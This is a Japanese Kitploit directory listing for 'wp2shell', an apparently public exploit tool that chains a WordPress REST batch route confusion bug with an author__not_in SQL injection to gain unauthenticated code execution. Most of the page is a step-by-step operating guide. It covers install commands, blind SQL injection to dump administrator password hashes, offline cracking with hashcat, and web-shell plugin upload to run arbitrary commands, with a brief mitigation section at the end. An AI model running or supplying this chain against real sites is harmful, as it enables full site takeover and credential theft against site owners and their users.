Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
wp2shell-Wordpress-TOWN — WordPress Coreにおける非認証のリモートコード実行(RCE)では、攻撃者がCVE-2026-63030とCVE-2026-60137を連鎖させることで、ログインせずに任意のコードを実行でき、サイト全体が完全に侵害される可能性があります。 | Kitploit
ツール/GitHubGitHub/lucifer0xf/wp2shell-wordpress-town
脆弱性スキャナーコード分析エクスプロイトウェブセキュリティCTF学習と教育
GitHublucifer0xf/wp2shell-wordpress-town

wp2shell-Wordpress-TOWN

WordPress Coreにおける非認証のリモートコード実行(RCE)では、攻撃者がCVE-2026-63030とCVE-2026-60137を連鎖させることで、ログインせずに任意のコードを実行でき、サイト全体が完全に侵害される可能性があります。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
リポジトリを見る
21101ヶ月前未レビュー
共有

wp2shell 作成者 : lucifer0xf

バナー

WordPress Core POC の未認証リモートコード実行 (CVE-2026-63030 + CVE-2026-60137)

wp2shell エクスプロイトは、WordPress コアの重大な脆弱性チェーンを利用します。REST API バッチルート混乱バグと WP_Query の SQL インジェクションを連鎖させ、脆弱な WordPress インストールで 未認証リモートコード実行 を実現します。

詳細情報
CVECVE-2026-63030 (REST バッチルート混乱) + CVE-2026-60137 (author__not_in SQLi)
影響を受けるWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
修正済み6.9.5, 7.0.2
認証要件なし — 未認証
CVSS重大 (RCE チェーン)
発見者Adam Kues (Assetnote / Searchlight Cyber)
依存関係Python 3.8+ — 標準ライブラリのみ

仕組み

このエクスプロイトは、WordPress コアの2つのバグを連鎖させます:

  1. CVE-2026-60137 — SQL インジェクション – author__not_in が配列ではなく文字列として渡されると、WordPress は is_array() のサニタイズチェックをスキップし、生の値を NOT IN (...) SQL 節に直接埋め込みます。

  2. CVE-2026-63030 — バッチルート混乱 – /wp-json/batch/v1 エンドポイントは並行して $matches と $validation 配列を構築します。不正なサブリクエストは $matches には追加されず $validation に追加されるため、インデックスが +1 ずれます。サブリクエスト i は、サブリクエスト i+1 のハンドラで処理されます。

連鎖すると: POST /wp/v2/posts リクエストに、author_exclude 文字列を持つ内側の GET /wp/v2/users リクエストを含めることで、メソッドの許可リストと入力サニタイズの両方をバイパスします。この文字列は author__not_in として WP_Query に到達し、SQL に埋め込まれます — 未認証のブラインド SQL インジェクション を引き起こします。

そこから、このツールは次のことができます:

  • 管理者パスワードのハッシュを抽出する
  • (ハッシュがクラックされれば) 管理者として認証する
  • 悪意のあるプラグインをアップロードする
  • 任意のシステムコマンドを実行する

機能

機能説明
脆弱性チェック安全な時間遅延プローブ — データを読み取らず、何も変更しません
データ抽出効率的な抽出のための二分探索最適化を備えたブラインド SQL インジェクション
ユーザーハッシュダンプwp_users から user_login と user_pass のハッシュを抽出
リモートコード実行管理者として認証し、Web シェルプラグインをアップロードしてコマンドを実行
対話型シェル永続的なコマンド実行セッション
カラー出力スキャン結果の明確な視覚的フィードバック
依存関係なしPython の標準ライブラリのみ使用

インストール

root@kitploit:~
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py

これだけです。サードパーティのパッケージは不要です。


使用方法

root@kitploit:~
./wp2shell.py <url> [command] [options]

対話モード (メニュー駆動)

root@kitploit:~
./wp2shell.py http://target.com

番号付きオプションからすべての機能を利用できる対話型メニューを起動します。

コマンド

check — 脆弱性の確認 (安全)

時間遅延プローブを実行して、悪用可能性を確認します。データを読み取らず、何も変更しません。

root@kitploit:~
./wp2shell.py http://target.com check

read — データ抽出 (ブラインド SQL インジェクション)

時間ベースのブラインド SQL インジェクションを使用して、データベースから情報を抽出します。

root@kitploit:~
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — リモートコード実行

有効な管理者資格情報が必要です。 SQL インジェクションでパスワードハッシュを復元できますが、復元された平文パスワードを指定する必要があります。

root@kitploit:~
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

オプション

オプション説明
--userswp_users から user_login と user_pass を抽出
--database現在のデータベース名を抽出
--versionMySQL のバージョンを抽出
--query "SQL"カスタム SQL クエリを実行 (ブラインド抽出)
--user USERRCE 用の管理者ユーザー名
--password PASSRCE 用の管理者パスワード (SQLi で復元された平文)
--cmd CMDWeb シェル経由で実行するコマンド

使用例

root@kitploit:~
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

影響を受けるバージョン

ブランチ影響を受ける修正済み
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.x6.8.0 – 6.8.5 (SQLi のみ、RCE なし)6.8.6

6.9.0 より前のバージョンは、完全な RCE チェーンの影響を受けません。


検出と緩和策

防御側向け:

  • 直ちに 6.9.5、7.0.2 以降に更新する
  • Cloudflare WAF の顧客は自動的に保護されます
  • Wordfence の顧客はファイアウォールルールを利用できます
  • 入れ子になった requests ボディを持つ POST /wp-json/batch/v1 リクエストを監視する
  • バッチルートでの 404 は常に「修正済み」を意味するわけではありません — WAF/CDN が匿名 REST API アクセスをブロックしている場合もあります

法的免責事項

このツールは、教育および許可されたセキュリティテストの目的にのみ使用されます。


クレジット

  • 発見: Adam Kues (Assetnote / Searchlight Cyber)
  • CVE-2026-60137 (SQLi): TF1T, dtro, haongo
  • CVE-2026-63030 (バッチルート混乱): Adam Kues
ツールをダウンロード